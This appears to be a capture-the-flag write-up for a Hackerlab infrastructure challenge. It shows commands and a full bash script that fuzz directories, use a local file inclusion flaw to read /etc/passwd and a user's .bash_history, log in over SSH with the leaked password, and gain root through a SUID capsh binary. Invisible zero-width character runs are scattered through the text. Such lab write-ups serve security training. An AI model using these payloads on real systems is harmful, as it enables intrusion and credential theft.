Будущий релиз (Future Release)

Platform: hackerlab | Category: Infrastructure | Type: Challenge | Difficulty: Easy | OS: Linux | Author: XESXOR | Date: 2025-12-25 | Status: Solved Techniques: Credential harvesting from .bash_history, Directory fuzzing with ffuf, Local File Inclusion via image.php parameter, SUID binary exploitation (capsh)

Summary

Task: Pentest machine with web service and SSH access, hint about development version. Solution: Directory fuzzing found /v2/ with LFI in image.php, extracted credentials from .bash_history, SSH access, privilege escalation via SUID capsh binary.

Будущий релиз (Future Release) — Hackerlab

Description

"Сайт ещё не вышел в продакшен, поэтому неплохо было бы его протестировать!" (The site hasn't been released to production yet, so it would be nice to test it!)

Connections:

• HTTP: 62.173.140.174:28380
• SSH: 62.173.140.174:28322

Analysis

This task is a pentest machine with a web service and SSH access. The description hints at the presence of a development/staging version of the site.

Stage 1: Web Reconnaissance

The main page shows an Apache web server with the "Oxer" template. Standard directories contain nothing interesting. ‍​‌‌​​‌​​​‌‌​​‌​​​​‌‌​‌​​​​‌‌‌​​‌​​‌‌​​​‌​​‌‌‌​​​​​‌‌​‌‌​​​‌‌​​​​‍

Stage 2: Directory Fuzzing

Using ffuf to search for hidden directories:

 bash read-only • copy allowed Copy
ffuf -u http://62.173.140.174:28380/FUZZ -w /usr/share/wordlists/dirb/common.txt

Found directory /v2/ — the development version of the site!

Stage 3: LFI Discovery

In /v2/ found script image.php with parameter image=. Testing for Local File Inclusion:

 bash read-only • copy allowed Copy
curl "http://62.173.140.174:28380/v2/image.php?image=/etc/passwd"

Success! The /etc/passwd file is returned completely. Found a user with shell access: ‍​‌‌​​‌​​​‌‌​​‌​​​​‌‌​‌​​​​‌‌‌​​‌​​‌‌​​​‌​​‌‌‌​​​​​‌‌​‌‌​​​‌‌​​​​‍

Don:x:1000:1000::/home/Don:/bin/bash

Stage 4: Credential Harvesting

Reading Don's bash history through LFI:

 bash read-only • copy allowed Copy
curl "http://62.173.140.174:28380/v2/image.php?image=/home/Don/.bash_history"

Found password in command history:

S3cP@ssW0rd!!!

Stage 5: SSH Access

Connecting via SSH with discovered credentials:

 bash read-only • copy allowed Copy
sshpass -p 'S3cP@ssW0rd!!!' ssh -p 28322 Don@62.173.140.174

Successful login!

Stage 6: Privilege Escalation

Searching for SUID binaries:

 bash read-only • copy allowed Copy
find / -perm -4000 -type f 2>/dev/null

‍​‌‌​​‌​​​‌‌​​‌​​​​‌‌​‌​​​​‌‌‌​​‌​​‌‌​​​‌​​‌‌‌​​​​​‌‌​‌‌​​​‌‌​​​​‍

Found /usr/sbin/capsh with SUID bit set. This is a utility for working with Linux capabilities, which when SUID allows obtaining a root shell.

Solution

Full Exploitation Chain

 bash read-only • copy allowed Copy
#!/bin/bash

TARGET_HTTP="62.173.140.174:28380"
TARGET_SSH="62.173.140.174"
SSH_PORT="28322"

# Step 1: Directory fuzzing
echo "[*] Fuzzing directories..."
ffuf -u "http://$TARGET_HTTP/FUZZ" -w /usr/share/wordlists/dirb/common.txt -mc 200,301,302

# Step 2: Test LFI
echo "[*] Testing LFI..."
curl -s "http://$TARGET_HTTP/v2/image.php?image=/etc/passwd"
‍​‌‌​​‌​​​‌‌​​‌​​​​‌‌​‌​​​​‌‌‌​​‌​​‌‌​​​‌​​‌‌‌​​​​​‌‌​‌‌​​​‌‌​​​​‍

# Step 3: Extract credentials from bash_history
echo "[*] Reading .bash_history..."
curl -s "http://$TARGET_HTTP/v2/image.php?image=/home/Don/.bash_history"

# Step 4: SSH and get flag
echo "[*] Connecting via SSH and escalating privileges..."
sshpass -p 'S3cP@ssW0rd!!!' ssh -o StrictHostKeyChecking=no \
    Don@$TARGET_SSH -p $SSH_PORT \
    '/usr/sbin/capsh --gid=0 --uid=0 -- -c "cat /root/last_part"'

Privilege Escalation via capsh

 bash read-only • copy allowed Copy
# Get root shell
/usr/sbin/capsh --gid=0 --uid=0 --
‍​‌‌​​‌​​​‌‌​​‌​​​​‌‌​‌​​​​‌‌‌​​‌​​‌‌​​​‌​​‌‌‌​​​​​‌‌​‌‌​​​‌‌​​​​‍

# Or directly read flag
/usr/sbin/capsh --gid=0 --uid=0 -- -c 'cat /root/last_part'

Flag

CODEBY{REDACTED}

GTFOBins Reference

capsh SUID exploitation:

 bash read-only • copy allowed Copy
# If capsh has SUID bit set:
/usr/sbin/capsh --gid=0 --uid=0 --

This gives a full root shell, as capsh is designed for capabilities manipulation and with SUID can set arbitrary UID/GID.

Lessons Learned

1. Always fuzz for development directories — /v2/, /dev/, /beta/, /staging/ often contain vulnerable code
2. LFI → .bash_history — one of the first files to read after /etc/passwd
3. Check SUID binaries — find / -perm -4000 should be in the standard checklist
4. capsh with SUID = instant root — GTFOBins contains a ready payload ‍​‌‌​​‌​​​‌‌​​‌​​​​‌‌​‌​​​​‌‌‌​​‌​​‌‌​​​‌​​‌‌‌​​​​​‌‌​‌‌​​​‌‌​​​​‍